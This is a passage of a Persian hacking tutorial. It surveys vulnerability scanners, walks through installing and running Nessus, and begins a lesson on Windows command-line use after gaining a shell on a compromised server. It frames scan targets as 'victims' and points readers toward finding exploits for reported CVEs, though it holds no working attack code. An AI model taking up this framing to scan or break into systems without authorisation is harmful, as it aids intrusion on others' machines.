vul scanner ها رو ميشود به دو دسته Network based و Host based تقسيم کرد. اولي را بهصورت remote و دومي رو بهصورت local استفاده ميکنند. به عبارت ديگر در مورد Network based اونو موقعي استفاده ميکنيم که دسترسي فيزيکي به سيستم نداريم (مثلا موقعي که فقط از طريق اينترنت و از طريق ip سيستم رو چک ميکنيم) اما در مورد Host based ابزار رو رو کامپيوتري که ميخوايم تست کنيم، نصب کرده و کار اسکن رو انجام ميديم. بحث ما فعلا در مورد Network based scanner هاست.
نکته مهم راجع به اسکنرها اين است که حتي اگر يه اسکنر نتونه واسه يه کامپيوتر vul پيدا کنه، دليل بر امن بودن اون کامپيوتر نيست. دليلش هم کاملا واضحه چون هر vul scanner ي از يک database استفاده ميکنه که الزاما همه vul ها رو پوشش نميده. حتي بهترين اسکنرها مثل Nessus هم هيچوقت جاي يه هکر واقعي رو نميگيره. از قديم گفتن کامپيوتر رو هکر هک ميکنه نه يه کامپيوتر ديگه!
يه نکته ديگه که بايد حتما بگم اينه که خيلي از vul scanner ها اين امکان رو دارند که بشه datebase اونا رو از طريق اينترنت update کرد تا vul هاي جديد رو هم شامل بشوند.
- vul scanner هاي تجاري (پولي)
اين نرمافزارها رو بايد خريداري کنيد (يا اينکه crack اش رو پيدا کنيد). پولي بودن يک نرمافزار به معني اين نيست که الزاما اين vul scanner عملکرد بهتري نسبت به انواع مجاني داشته باشه. ضمنا اکثر محصولات تجاري اجازه استفاده trial رو براي يک ماه به شما ميدن.
۱- ISS :
از سايت iss.net است. يکي از بهترين اسکنرهاست. براي ويندوز و يونيکس (لينوکس) قابل استفاده است.
۲- CyberCop :
يکي از مشهورترين اسکنرهاست. براي ويندوز و لينوکس
۳- NetRecon :
از شرکت Symantec است (Axent). براي سيتمعامل ويندوز
۴- NetSonar :
از cisco
۵- Retina :
از مشهورترين اسکنرهاي تجاري است. از سايت eeye.com - براي ويندوز
۶- N-STEALTH :
خودش و سايتش يه کم تابلو خالي ميبندن ولي در کل اسکنر خوبيه.
۷- و…
- vul scanner هاي مجاني
۱- Nessus :
بهترين اسکنر تمام اعصار! چي بگم که واقعا تک تکه. براي سيستمعاملهاي يونيکس (لينوکس) استفاده ميشه. براي ويندوز فقط کلاينتش هست (بعدا توضيح ميدم که يعني چي)
۲- SAINT و SARA :
هر دو نسل جديد SATAN هستند و هر دو براي يونيکس (لينوکس) هستند ولي هيچيک در برابر Nessus عددي نيستند!
۳- LanGuard :
براي ويندوز - در ايران خيلي مشهور شده ولي در کل اسکنر خوبي نيست
۴- VLAD :
از تيم Razor - براي يونيکس(لينوکس)
۵- و…
- False Positive چيست؟
False Positive يعني مواردي که اسکنر تشخيص ميده که يک vul در سيستم هست در حاليکه چنين نيست. اين مورد خيلي وقتها پيش مياد و هيچ هم عجيب نيست. پس وقتي Vul Scanner يه Vul رو تشخيص ميده، زياد هم حال نکنين!
- نکته
+ CGI Scanner ابزاري است که به نوعي بهعنوان مکمل vul scanner ها استفاده ميشه که بعدا توضيح ميدم.
+ Retina را براي ويندوز و Nessus رو براي لينوکس حتما داونلود و تست کنيد. من درس بعدي احتمالا Nessus رو توضيح ميدم ولي اسکنرها اکثرا مثل همند.
Nessus يک نرمافزار براي Vulnerability Scanning است. اگر بخوام دقيقتر بگم بهترين نرمافزار Vul Scanning که به صورت Network-Based به کار ميره همين نرمافزار است. مهمترين ويژگي اين نرمافزار مجاني و Open-Source بودن آن است ( اگرچه تو ايران همهچي مجانيه! ) اين نرمافزار توسط Renaud Deraison نوشته شده و توسط او توسعه پيدا ميکند. الان که من دارم مقاله رو مينويسم، نسخه 2.0.7 اون ارائه شده است.
ويژگي مهم ديگر اون داشتن حالت Client-Server است. فرض کنيد که از چند کامپيوتر به صورت شبکهاي استفاده ميکنيد. اگر بخواهيد در تعدادي از اين کامپيوترها از Nessus استفاده کنيد، کافي است فقط در يکي از آنها سرور Nessus و روي همه Client اونو اجرا کنيد. ولي اگه فقط يه کامپيوتر داريد و ميخواين روي اون از Nessus استفاده کنيد، هم کلاينت و هم سرور Nessus رو بايد نصب و اجرا کنيد.
در حال حاضر Server نرمافزار Nessus فقط براي سيستمهاي عامل مبتني بر يونيکس مثل لينوکس، OpenBSD Unix و... در دسترس است ونسخه ويندوزي وجود نداره. پس اگه روي يک کامپيوتر هم کلاينت و هم سرور اونو نصب ميکنيد، سيستمعامل اون کامپيوتر بايد مبتني بر يونيکس باشه. به عبارت ديگه اگه از سيستمعامل ويندوز استفاده ميکنيد، وقت خودتون رو با خوندن اين مقاله تلف نکنيد! اما راجع به کلاينت Nessus بايد عرض کنم که نسخههاي ويندوز ( به نام NessusWX ) و نسخه جاوا و نيز نسخههاي مبتني بر يونيکس وجود داره. يعني اينکه اگه چند تا کامپيوتر به صورت شبکه در اختيار دارين، اوني که قراره سرور Nessus روش نصب بشه بايد مبتني بر يونيکس باشد و بقيه که کلاينت هستند، ميتونن هر چيزي باشند. اميدوارم متوجه شده باشين!
من در اين مقاله فرض مي کنم که شما سيستمعامل لينوکس داريد و ميخواهيد هم سرور و هم کلاينت Nessus رو روي همون کامپيوتر نصب کنيد. براي استفاده از Nessus بايد لينوکس شما هم nmap و هم gtk و هم OpenSSL رو داشته باشه که معمولا داره ( فقط اگه nmap ندارين، يه فکري براش بکنيد!)
- از کجا Nessus رو داونلود کنم؟
براي داونلود Nessus بايد به به آدرس http://www.nessus.org/download.html مراجعه کنيد. در اين صفحه ميتونيد آخرين نسخه از Nessus رو ببينيد که الان Nessus 2.0 هست که به صورت يک لينک داخل جدول خاکستري رنگ هستش. روي همون کليک کنيد، تا به يک صفحه ديگر منتقل شويد. در اين صفحه جديد دو تا جدول ميبينيد که يکي وسطهاي صفحه و ديگري آخرهاي صفحه است. بالاي جدول اولي نوشته شده:
You can find the hereما از همين جدول استفاده ميکنيم. توجه کنيد که Nessus را ميتوان به سه شکل مختلف نصب کرد که ما همين روش که nessus-installer نام داره رو انتخاب ميکنيم. از همين جدول با توجه به منطقه جغرافيايي که هستيد، روي يکي از لينکها کليک کنيد ( هرچقدر اون کشور به شما نزديکتر باشه سرعت داونلود بالاتر ميره ولي در کل همه لينکها قرتيبازيه! هر کدوم رو خواستيد کليک کنيد ). شما به يک صفحه جديد منتقل ميشويد و در اين صفحه سه تا فايل وجود داره به نامهاي MD5 و README.txt و nessus-installer.sh که از اين سه تا nessus-installer.sh رو بايد داونلود کنيد که فکر کنم سه چهار مگي باشه
- فايل nessus-installer.sh رو داونلود کردم. چطوري نصب کنم؟
اولا بايد در مود root يعني super-user به لينوکس login کرده باشيد. حالا shell لينوکس رو باز کرده و به دايرکتوري که فايل رو اونجا داونلود کردهايد وارد ميشويد. مثلا اگر در root/Desktop/ فايل رو داونلود کردهايد، مينويسيد:
# حالا دستور زير رو مينويسيد:
# بلافاصله صفحه پاک ميشه و نوشته زير مياد (البته صفحه پاک نميشه فقط اينکه انقدر نوشته مياد که به نظر ميرسه صفحه پاک شده):
-------------------------------------------------------------------------------- NESSUS INSTALLATION SCRIPT--------------------------------------------------------------------------------Welcome to the Nessus Installation Script !This script will install Nessus 2.0.7 (STABLE) on your system.Please note that you will need root privileges at some point so thatthe installation can complete.Nessus is released under the version 2 of the GNU General Public License(see http://www.gnu.org/licences/gpl.html for details).To get the latest version of Nessus, visit http://www.nessus.orgPress ENTER to continueدکمه Enter رو فشار ميدهيد. يه سري چرت و پرت نوشته ميشه و صفحه پاک شده و متن زير مياد:
-------------------------------------------------------------------------------- Nessus installation : installation location--------------------------------------------------------------------------------Where do you want the whole Nessus package to be installed �[/usr/local]اين ميگه که Nessus رو کجا نصب کنم؟ شما دکمه Enter رو فشار بدين که در محل پيشفرض يعني usr/local/ نصب بشه. حالا صفحه پاک ميشه و نوشته زير مياد:
-------------------------------------------------------------------------------- Nessus installation : Ready to install--------------------------------------------------------------------------------Nessus is now ready to be installed on this host.The installation process will first compile it then install itPress ENTER to continueبازهم چرت و پرتها شروع به ظاهر شدن ميکنند ولي ايندفعه يکم بيشتر طول ميکشه که اراجيف تموم بشن ( اينا ابدا اراجيف نيستند ولي چون ما به صورت اتوماتيک داريم نصب ميکنيم، اصلا لزومي نداره فکرتون رو خراب بکنيد! ) حالا ميتونين يه چايي واسه خدتون بريزين و چند دقيقه استراحت کنيد.
وقتي کار نصب تموم شد، صفحه زير ظاهر ميشه:
-------------------------------------------------------------------------------- Nessus installation : Finished--------------------------------------------------------------------------------Congratulations ! Nessus is now installed on this host. Create a nessusd certificate using /usr/local/sbin/nessus-mkcert. Add a nessusd user use /usr/local/sbin/nessus-adduser. Start the Nessus daemon (nessusd) use /usr/local/sbin/nessusd -D. Start the Nessus client (nessus) use /usr/local/bin/nessus. To uninstall Nessus, use /usr/local/sbin/uninstall-nessus. Remember to invoke 'nessus-update-plugins' periodically to update your list of plugins. A step by step demo of Nessus is available at : http://www.nessus.org/demo/Press ENTER to quitيه Enter بزنيد که نصب تموم بشه. اين صفحه آخر اطلاعات مهمي داره که توضيح ميدم.
اولين جمله اينه:
Create a nessusd certificate using /usr/local/sbin/nessus-mkcertپس ما در Shell مينويسيم:
# وقتي Enter بزنيم، صفحه پاک شده و متن زير ظاهر ميشه:
------------------------------------------------------------------------------- Creation of the Nessus SSL Certificate-------------------------------------------------------------------------------This script will now ask you the relevant information to create the SSLcertificate of Nessus. Note that this information will *NOT* be sent toanybody (everything stays local), but anyone with the ability to connect to yourNessus daemon will be able to retrieve this information.CA certificate life time in days [1460]:از همينجا تا آخر کار ۶ تا Enter به ترتيب ميزنيم تا کار ايجاد certification تموم بشه. به صورت زير:
CA certificate life time in days [1460]:Server certificate life time in days [365]:Your country (two letter code) [FR]:Your state or province name [none]:Your location (e.g. town) [Paris]:Your organization [Nessus Users United]:بعد صفحه زير مياد:
------------------------------------------------------------------------------- Creation of the Nessus SSL Certificate-------------------------------------------------------------------------------Congratulations. Your server certificate was properly created./usr/local/etc/nessus/nessusd.conf updatedThe following files were created :. Certification authority : Certificate = /usr/local/com/nessus/CA/cacert.pem Private key = /usr/local/var/nessus/CA/cakey.pem. Nessus Server : Certificate = /usr/local/com/nessus/CA/servercert.pem Private key = /usr/local/var/nessus/CA/serverkey.pemPress [ENTER] to exitحالا آخرين Enter رو هم ميزنيم، تا کار تموم بشه.
پس ما تا حالا هم nessus-installer.sh رو اجرا کرديم و هم SSL Certificate براي Nessus درست کرديم. حالا بايد يک user روي سرور nessus درست کنيم که بتونيم بعدا از طريق او به نرمافزار login کنيم. براي اينکار از دستور زير استفاده ميکنيم:
# به محض اجراي اين دستور متن زير ظاهر ميشه:
Add a new nessusd user----------------------Login :اين يعني يک username وارد کن. اسم مورد نظر رو وارد ميکنيم و بعد سطر زير مياد:
Authentication (pass/cert) [pass] :اين يعني روش هويتسنجي چي باشه. ما Enter ميزنيم که همون پيشفرض يعني pass بمونه. بعد سطر زير مياد:
Login password : اينجا بايد پسورد براي يوزر رو وارد کنيم. اول يه نگاه به چپ، بعد يه نگاه به راست، بعد يه نگاه به عقب! حالا پسورد رو بنويسيد ( از کاراکتر * موقع وارد کردن پسورد خبري نيست. واسه همين مراسم رو بجا آورديم! )
حالا اين متن ظاهر ميشه:
User rules----------nessusd has a rules system which allows you to restrict the hoststhat ali has the right to test. For instance, you may wanthim to be able to scan his own host only.Please see the nessus-adduser(8) man page for the rules syntaxEnter the rules for this user, and hit ctrl-D once you are done
Login : xxxxxxxxxxPassword : yyyyyyyyyDN :Rules :Is that ok � (y/n) [y]يه Enter ميزنيم که کار تموم بشه.
تبريک ميگم. نرمافزار nessus به همين راحتي نصب شد!
- نرمافزار رو نصب کردم. حالا چطوري nessus را اجرا کنيم؟
۱- هر بار که کامپيوتر رو restart ميکنيد، اگه بخواين از nessus استفاده کنيد، اول بايد سرور nessus رو اجرا کنيد. براي اجرا کردن سرور nessus که به اون nessus daemon يا به شکل خلاصه nessusd ميگن، دستور زير رو مينويسيم:
# به اين راحتي سرور nessus راهاندازي ميشود.
۲- حالا کلاينت رو اجرا ميکنيم. نکته مهم اينکه هر چند تا کلاينت که بخواين ميتونين اجرا کنيد. براي اين کار از دستور زير استفاده ميشود:
# با اجراي اين دستور پنجره نرمافزار ظاهر ميشه. توجه کنيد که nessus در حالت متني هم کار ميکنه ولي استفاده از حالت گرافيکي راحتتر است.
- پنجره کلاينت nessus باز شده است. چگونه از nessus استفاده کنيم؟
در صفحه اول login-name و password رو وارد کنيد. اگر براي بار اول login ميکنيد، ممکن است که پنجرهاي باز شود به اسم SSL Setup که داراي سه سطر با دکمه راديويي است که اولي را که به صورت پيشفرض انتخاب شده رو تغيير نميدهيم و دکمه OK رو فشار ميدهيم. ولي اگر بار اول نباشد، اين پنجره ظاهر نميشود و اگر username و password درست باشد، برگه دوم که نام دارد باز ميشود. که ظاهري شبيه به اين دارد:
[IMG]file:///D:/hack/araz/hack/26_files/n13820631.jpg[/IMG]
در مورد Plugins بايد توضيح بيشتري بدم. ميشه گفت Plugins قلب نرمافزار nessus است. مثلا فرض کنيد که nessus ميخواد تست کنه که آيا قرباني مشکلي به اسم Unicode bug دارد يا نه. واسه اين کار بايد يک Plugin خاص داشته باشد که اين مطلب رو تست کنه. Plugin ها به صورت فايلهاي جدايي هستند که معمولا به زبان NASL که مخصوص nessus است نوشته ميشوند (اگرچه ميتوان با توابع مخصوص nessus به زبان C هم Plugin نوشت ). در قسمت بالاي پنجره ميبينيد که در آن Plugins دستهبندي شدهاند مثل Windows و SNMP و ... هر کدوم را که انتخاب کنيد، در پايين پنجره ليست Plugins مرتبط ظاهر ميشه. و ميتوان اونها رو فعال يا غير فعال کرد. هر Plugins ي که فعال باشه، روي قرباني تست خواهد شد و اگه nessus تشخيص بده قرباني اون مشکل رو داره، اونو گزارش خواهد کرد. در حال حاضر نرمافزار nessus با بيش از هفتصد Plugin عرضه ميشه يعني ميتونه بيش از ۷۰۰ نوع حفره امنيتي ( و گاه اطلاعات مهم رو ) به ما ارائه بده و در واقع قدرت nessus در همين plugin هاست. مرتبا plugin هاي جديدي واسه حفرههاي امنيتي جديدي که کشف ميشن نوشته ميشه و به سايت اضافه ميشه که بعدا توضيح ميدم چطوري اين plugin هاي جديد رو داونلود کنيم.
اگه بخوام بهصورت مختصر بگم، ما در اين برگه مشخص ميکنيم کدام Vul ها تست بشن روي سرور که nessus ببينه اون vul هست يا نه!
بر خلاف عقيده بعضيها بايد عرض کنم که nessus سايت يا سروري رو hack نميکنه، فقط به ما کمک ميکنه که بدونيم واسه هک کردن اون سرور از چه راهي بايد وارد بشيم!
نکته بعدي اينکه nessus بعضي از plugin ها رو به نام dangerous plugins معرفي ميکنه که plugin هايي هستند که اگه روي يه سرور تست بشوند ممکنه که کامپيوتر قرباني hang کنه يا کند بشه يا restart بشه. اگه بخوايم همه plugin ها روي قرباني تست بشه، دکمه Enable all را فشار ميديم و اگه بخوايم همه رو بجز اونايي که خطرناک هستند، تست کنيم، دکمه Enable all but dangerous plugins رو انتخاب ميکنيم و اگه بخوايم همه عير فعال بشوند، disable all رو کليک ميکنيم.
برگه بعدي نام دارد. در اين برگه ميتوان تنظيماتي در مورد Plugin ها انجام داد. مثلا اگه لازم به Ping کردن باشه، ميشه مشخص کرد که TCP يا ICMP باشد. يا اگر اطلاعاتي راجع به SMB يا FTP مثل username يا password داريم وارد کنيم و ... معمولا اين برگه رو تغيير نميديم.
برگه بعدي است. در اين برگه ميتوان مشخص کرد چه port هايي اسکن شود و ... که اين برگه را هم تغيير نميديم. دقت کنيد که Port Scanning در nessus از طريق nmap صورت ميگيرد.
آخرين برگه مهم نام دارد که مشخص ميکند که کجا رو ميخوايم اسکن کنيم. چند مثال از مواردي که در قسمت target(s) ميشه نوشت رو ميگم:
۱- اگه بخوايم ip به شماره ۱۹۲.۱۳۰.۱۲.۴۵ رو اسکن کنيم:
192.130.12.45۲- اگه بخوايم ip هايي رو سه رقم اول اون ۱۹۲ و ۱۳۰ و ۱۲ و رقم آخر هم بين ۱۰ تا ۳۰ باشد رو تست کنيم:
192.130.12-10-30۳- اگه بخوايم ip هايي رو که سه رقم اول همون بالاييها و رقم آخر از ۰ تا ۲۵۵ باشد رو اسکن کنيم، ميشود به دو صورت نوشت:
192.130.12.0-255192.130.12.0/24۴- اگه بخوايم دو تا ip جدا رو تست کنيم، با يک کاما (,) از هم جدا ميکنيم:
192.130.12.25,192.125.46.120۵- اگه بخوايم از روي دومين يک سرور (سايت) رو اسکن کنيم، دومين رو مينويسيم:
www.iums.ac.irحالا که همهچي آماده است، دکمه رو از پايين پنجره کليک ميکنيم که کار اسکن شروع بشه.
- بعد از کليک کردن Start the Scan چه اتفاقي ميافتد؟
اين پرسيدن داره؟! خوب اسکن شروع ميشه. توجه کنيد که با توجه به تعداد Plugin هاي انتخابي و و و ... زمان ميتونه تا ۳۰ دقيقه يا بيشتر هم طول بکشه ( يکي از ايرادهايي که به nessus وارد ميشه،کند بودن اونه ) خلاصه تو اين مدت بهتره بريد ناهارتون رو هم بخوريد! بعد از اتمام کار يه پنجره باز ميشه که بيان ميکنه چه حفرهاي امنيتي در کامپيوتر قرباني کشف شده است. اين حفرهها درجهبندي شده هستند. مثلا بعضيها در حد Low يعني کم خطر، بعضي در حد Medium ، بعضي در حد High يعني خطرناک و بعضي هم در حد Serious يعني فاجعه! هستند. اونايي که High يا Serious هستند معمولا اگه ازشون استفاده بشه، ميشه سرور رو هک کرد. البته بايد false positive رو هم در نظر داشت، يعني مواردي که nessus يک حفره رو گزارش ميکنه ولي حفرهاي در کار نيست!
حالا شايد بپرسيد که وقتي nessus يه حفره رو کشف کرد، چظور از طريق اون حفره به کامپيوتر قرباني نفوذ کنيم؟
همونطور که گفتم با خود nessus نميشه. اما nessus در اکثر موارد يه CVE به ما ميده که با کليک روي اون لينک ميتونيم، با کمي گشتن اينور و اونور exploit واسه اون حفره پيدا کنيم و دست به عمل کثيفي به اسم هک بزنيم! توجه کنيد که در خيلي از کشورها يه port Scanning ساده هم جرم محسوب ميشه، پس مراقب باشيد
در همان پنجرهاي که نتايج رو نشون ميده، يه دکمه به اسم Save as وجود داره که به کمک اون ميشه نتايج رو در قالبهاي مختلفي مثل text و html با نمودارها و... ذخيره کرد؛ تا بعدا دقيقتر بررسي بشوند.
- از ديدگاه يک هکر يا يک متخصص امنيت شبکه، nessus در چه جايگاهي است؟
مسلما جايگاه خيلي خيلي بلندي نيست! اين نرمافزار فقط ميتونه حفرههايي رو کشف کنه که plugin براش داشته باشه. از ديدگاه يک هکر، تجربه بسيار مهمتر از ابزاري چون nessus است ( ضمنا nessus آنقدر ردپا بجا ميذاره که قابل چشمپوشي نيست ) و از ديدگاه يک متخصص امنيت شبکه حتي اگر nessus هيچ حفره امنيتي را هم پيدا نکند،دليل بر امن بودن ۱۰۰٪ اون سرور نيست. مخلص کلام اينکه nessus نرمافزار خوبي است ولي خدا نيست!!
- نکاتي راجع به nessus
۱- گفتم که Plugin ها بصورت فايلهاي جداگانه هستند. اگه بخواين ببينيد که اين فايلها چه شکلياند يا چه اسمهايي دارند يا اينکه در حال حاضر چند plugin داريد به دايرکتوري usr/local/lib/nessus/plugin/ برويد. با دستور زير :
#
# ۲- با تايپ دستور زير به فولدر usr/local/sbin/ رفته و دستور ls رو صادر کنيد:
# # فايلهاي زير رو خواهيد ديد:
nessus-adduser nessus-mkcert nessus-update-pluginsnessusd nessus-rmuser uninstall-nessusاز بين اين فايلهاي اجرايي nessusd و nessus-mkcert و nessus-adduser رو قبلا توضيح دادم. حالا سه فايل ديگر رو توضيح ميدم:
: همانطور که از اسمش بر ميآيد، ميتوان به کمک اون يک user خاص رو که قبلا با nessus-adduser ايجاد کردهايم رو پاک کنيم.
: به کمک اين دستور ميتوان nessus رو از سيستم پاک کرد.
: اين مهمترين دستور اين شاخه است. فرض کنيد که چند هفته پيش آخرين نسخه nessus رو داونلود کردهايد و داريد استفاده ميکنيد. مسلما در اين مدت plugin هاي جديدي نوشته شده است. براي اينکه plugin هاي جديد رو دريافت کنيد، ار اين دستور استفاده ميکنيد. با اجراي آن با دستور زير، خود فايل اجرايي به سايت nessus.org کانکت شده و Plugin هاي شما رو تکميل ميکند:
# يادتون باشه که حداقل هفتهاي يکبار اين دستور رو اجرا کنيد. با توجه به سرعت connection شما به اينترنت و تعداد plugin های جديدی که بايد داونلود بشه، اجرای اين دستور ممکن است چند دقيقهای طول بکشد.
- اين سري درسها (ضروريات ويندوز سرور) به چه دردي ميخورند؟
تجربه بهم ثابت کرده که خيلي از افرادي که ويندوز سرور هک ميکنند، بعد از اينکه به shell دست مييابند، نميدونند که بعدش دنبال چي باشند. حتي بعضيها بعد از اينکه به کمک يک نرمافزار آماده اين کار رو انجام ميدهند، حتي نميتونند از دستورات خط فرماني ويندوز استفاده کنند. اين درس راجع به همينها بحث ميکنه، يعني اينکه من فرض ميکنم که شما به shell ويندوز دست پيدا کرديد، حالا چطوري باهاش کار کنيد و سطح اختيارات خود رو بالاتر ببريد.
شايد از من بپرسيد که من هنوز راجع به اينکه چطوري به shell دست پيدا کنيم، مقالهاي ارائه نکردم، پس اين درس به چه دردي ميخوره؟ جواب اينه که اين درس پيشنياز درسهاي بعدي خواهد بود. اگر شما سيستمعامل ويندوز ۲۰۰۰ يا xp داريد، اکثر مطالب اين مقاله رو ميتونيد روي کامپيوتر خودتون تست کنيد. اگه ميخواين shell ويندوز رو در کامپيوتر خودتون بياريد، دکمه Start رو کليک کرده گزينه Run را فشار دهيد و اونجا بنويسيد: cmd که مخفف command prompt است.
نکته بعدي اينکه فرض کنيد که شما به يک کامپيوتر و shell اون دسترسي پيدا کرديد ولي ميخواهيد که بدونيد که در شبکهاي که اين کامپيوتر قرار داره چه کامپيوترهاي ديگهاي هست و وظايف اونا چيه و يا چطوري ميشه از طريق اين کامپيوتر به اونا دسترسي پيدا کرد. اين موضوع مربوط به مقالهاي به نام (هک کردن شبکهاي از ويندوز سرورها) است که اگه عمري باشه، بعدها توضيح ميدم.
پس اين مقاله به شما ميگه که وقتي به shell ويندوز در يک کامپيوتر رسيديد، چه کارهاي ديگهاي در همون کامپيوتر ميتونيد انجام بديد!
اين سري درسها رو از سطح مبتدي تا پيشرفته براتون ميگم. بنابراين ممکنه بعضي درسها بهدردتون نخوره...
مطلب آخر اينه که من متخصص ويندوز سرور نيستم! پس اگه ايرادي در اين مقاله ميبينيد، حتما برام پيغام بذاريد
- تقسيمبندي انواع سيستمعاملهاي ويندوز
همانطور که ميدونيد ويندوز انواع مختلفي داره که ميشه همه رو تو دو گروه تقسيمبندي کرد:
۱- ويندوزهاي desktop يا ويندوزهاي dos family که عبارتند از: ويندوزهاي قديمي ( تا سري 3.1 )، ويندوز ۹۵، ويندوز ۹۸ و ويندوز Me
۲- ويندوزهاي nt يا ويندوزهاي server که عبارتند از: ويندوزهاي nt ورژن 3.0 و 4.0 ، ويندوز 2000 ( ويندوز nt ورژن 5.0 )، ويندوز XP و ويندوز NET Server 2003.
بحث ما راجع به سري دوم ويندوزهاست.
- دستورات کار با فايلها و فولدرها
اين دستورات همونهايي هستند که در سيستمعامل باستاني!! مايکروسافت يعني MS DOS استفاده ميشدند. کاربران ويندوز معمولا نيازي به يادگيري اونا احساس نميکنند چون همه کارها رو در محيط گرافيکي و معمولا از طريق ماوس انجام ميدهند. ولي چون shell حالت متني دارد، شما بايد با اين دستورات آشنا بشويد. shell رو باز کنيد. متن زير ظاهر ميشه: Microsoft Windows 2000 [Version 5.00.2195](C) Copyright 1985-1999 Microsoft Corp.I:\>دقت کنيد که سيستمعاملي که من shell رو در اون آوردم، ويندوز ۲۰۰۰ است و درايو پيشفرض من که معمولا همان درايوي است که ويندوز در اون نصب شده، درايو I است. شما مسلما چيز متفاوتي خواهيد ديد. مينويسم: I:\> تا به درايو C وارد بشم. حالا prompt تغيير ميکنه و نشون ميده که الان در درايو C هستم: C:\> مينويسم: C:\> و ليست زير ظاهر ميشه: Volume in drive C is FREE-START Volume Serial Number is 3623-07E6 Directory of C:\09/06/2003 06:29a <DIR> GAMES08/15/2003 06:20p 1,806,727 phpMyAdmin-2.5.3-rc1-php.zip06/17/2002 07:06p <DIR> upload06/19/2002 07:02p <DIR> mailserver09/13/2002 03:59a 8,053 port-tcp-c.c02/27/2003 10:28p <DIR> mp304/18/2003 07:38a 1,152 araz.pl 3 File(s) 1,815,932 bytes 4 Dir(s) 95,502,336 bytes freeاينها در واقع ليست فايلها و دايرکتوريهاي موجود در درايو C کامپيوتر من است. مثلا اينجا GAMES يک فولدر ( دايرکتوري) است چون در در اون سطر کلمه <DIR> اومده که معني دايرکتوري ميده. ولي araz.pl که آخرين سطر از ليسته، فايله. حالا مينويسم: C:\> و جواب ميشنوم: C:\GAMES>يعني وارد فولدري بع اسم games شدهام. بازم دستور dir رو مينويسم که ببينم در اين فولدر چه فايل يا فولدرهايي هست و جواب ميشنوم: Volume in drive C is FREE-START Volume Serial Number is 3623-07E6 Directory of C:\GAMES09/06/2003 06:29a <DIR> .09/06/2003 06:29a <DIR> ..09/06/2003 06:29a <DIR> FORMULA109/06/2003 06:35a <DIR> SP09/06/2003 06:36a <DIR> SUPER09/06/2003 06:39a <DIR> UF 0 File(s) 0 bytes 6 Dir(s) 95,502,336 bytes freeکه ميگه ۶ دايرکتوري وجود داره. دوتاي اولي دايرکتوريهاي واقعي نيستند، چون اگه بنويسم: C:\GAMES> جواب ميگيرم: C:\GAMES>يعني هيچ اتفاقي نيفتاد. و اگه بنويسم: C:\GAMES> جواب ميشنوم: C:\>يعني يه فولدر به عقب برگشتم و اومدم به همون ريشه درايو C که قبلا بودم. پس الان در درايو C هستم و چون قبلا ديدهام که فايلي به اسم araz.pl در اون هست ميخوام محتويات اين فايل متني رو ببينم. مينويسم: C:\> و جواب ميشنوم: #!/usr/bin/perlprint "Content-type: text/html\n\n";use Socket;my ($remote, $port, @thataddr, $that, $them, $proto, $getpage );$remote = shift || 'www.securitytracker.com';$port = 80;@thataddr=gethostbyname($remote) or die "Not Connected";$that=pack('Sna4x8',AF_INET, $port, $thataddr[4]);$proto=getprotobyname('tcp');socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die $!;connect(SOCK, $that) or die $!;........اين محتويات فايل araz.pl است. ميخوام يک متني فايل جديد بسازم، که محتوياتش فقط يک سطر باشه مثلا salam bar to و نامش هم باشه ali1000.txt براي اينکار چند راه وجود داره که دو تاشو ميگم:
۱- ميتونيد بنويسيد: C:\> ۲- و ميتونيد بنويسيد: C:\> و enter زده و جمله!! salam bar to را اونجا تايپ کنيد و وقتي تمام شد، ترکيب: CTRL + Z رو فشار بديد که فايل تموم بشه.
در هر دو حالت چون ما در درايو C و در ريشه ( يعني نه در يک فولدر خاص ) بوديم، فايل همينجا درست ميشه و اگه دستور dir رو اجرا کنيد،ميبينيد که يک فايل جديد به ليست اضافه شده. حالا ميتونيد با دستور: C:\> محتويات فايل رو ببينيد، اگرچه الانشهم ميدونيد چي هست! ميخواهيم يک فولدر جديد به اسم tur2 بسازيم. مينويسيم: C:\> حالا اگر dir رو بنويسم، ميبينم که فولدر جديد ايجاد شده. حالا ميخوام برم تو فولدري که ساختم. مينويسم: C:\> و بعد dir ميگيرم. ميبينم فعلا فقط همان دو فولدر . و .. در اينجا وجود داره که قبلا گفتم چي هستند. اگه بخوام يه فولدر جديد در داخل اين فولدر tur2 به اسم far30 بسازم، مينويسم: C:\tur2>و اگر dir بگيرم، ميبينم اينها وجود دارند: Volume in drive C is FREE-START Volume Serial Number is 3623-07E6 Directory of C:\tur210/04/2003 07:17p <DIR> .10/04/2003 07:17p <DIR> ..10/04/2003 07:18p <DIR> far30 0 File(s) 0 bytes 3 Dir(s) 95,477,760 bytes freeيعني فولدر far30 هم اضافه شده. ميخوام فايل ali1000.txt رو از ريشه به فولدر far30 که خودش در فولدر tur2 است، کپي کنم. مينويسم: C:\tur2> ساختارش خيلي ساده است، حتما فهميدين که اول دستور copy رو مينويسم. بعد با يک فاصله، مسير و نام فايلي که ميخوام کپي کنم رو مينويسم و در آخر با يک فاصله، مسيري که ميخوام فايل کپي بشه رو مينويسم. دقت کنيد که فايل اصلي دست نخورده باقي ميمونه و يک کپي جديد در مسير جديد ايجاد ميشه. ميتونستم همين فايل رو به درايو D کپي کنيم که در اين حالت بايد بنويسم: C:\tur2> که فايل به درايو D کپي بشه. حالا يه دستور جديد، ميخوام فايل ali1000.txt رو از درايو C پاک کنم، مينويسم: C:\tur2> دقت کنيد که چون من الان در فولدر tur2 هستم ولي فايلي که قراره پاک کنم در ريشه است، مسير رو بايد بنويسم، ولي اگر فايل همونجايي که من الان هستم بود، مينوشتم: C:\> نکته مهم اينه که وقتي روي کامپيوتر خودم shell رو باز کردم، ميتونم ببينم که کجا قرار دارم ( با نگاه به پرامت که مثلا اينجا <c:\tur2 بود) ولي در shell ي که موقع هک کردن به اون ميرسيم، معمولا اين پرامت ظاهر نميشه. اونجا چطوري ميشه فهميد کجا هستم؟ خيلي سادهاست با دستور زير: که جواب ميده: c:\tur2چون قبلا فايل ali1000.txt رو به فولدر far30 موجود در فولدر tur2 موجود در درايو C کپي کردم، ميرم همونجا مينويسم: C:\> اگه dir بگيرم، اينو ميبينم: Volume in drive C is FREE-START Volume Serial Number is 3623-07E6 Directory of C:\tur2\far3010/04/2003 07:18p <DIR> .10/04/2003 07:18p <DIR> ..10/04/2003 07:08p 15 ali1000.txt 1 File(s) 15 bytes 2 Dir(s) 95,477,760 bytes freeاگه بخوام اين فايل رو منتقل کنم به فولدر tur2 از درايو C (يعني به يه فولدر پايين تر) از دستور زير استفاده ميکنم: C:\tur2\far30> فرق دستور move با copy اينه که فايل اصلي منتقل ميشه نه کپي! يعني از محل قبلي پاک ميشه و به محل جديد مياد!! حالا که فولدر far30 حالي شده (يعني هيچ 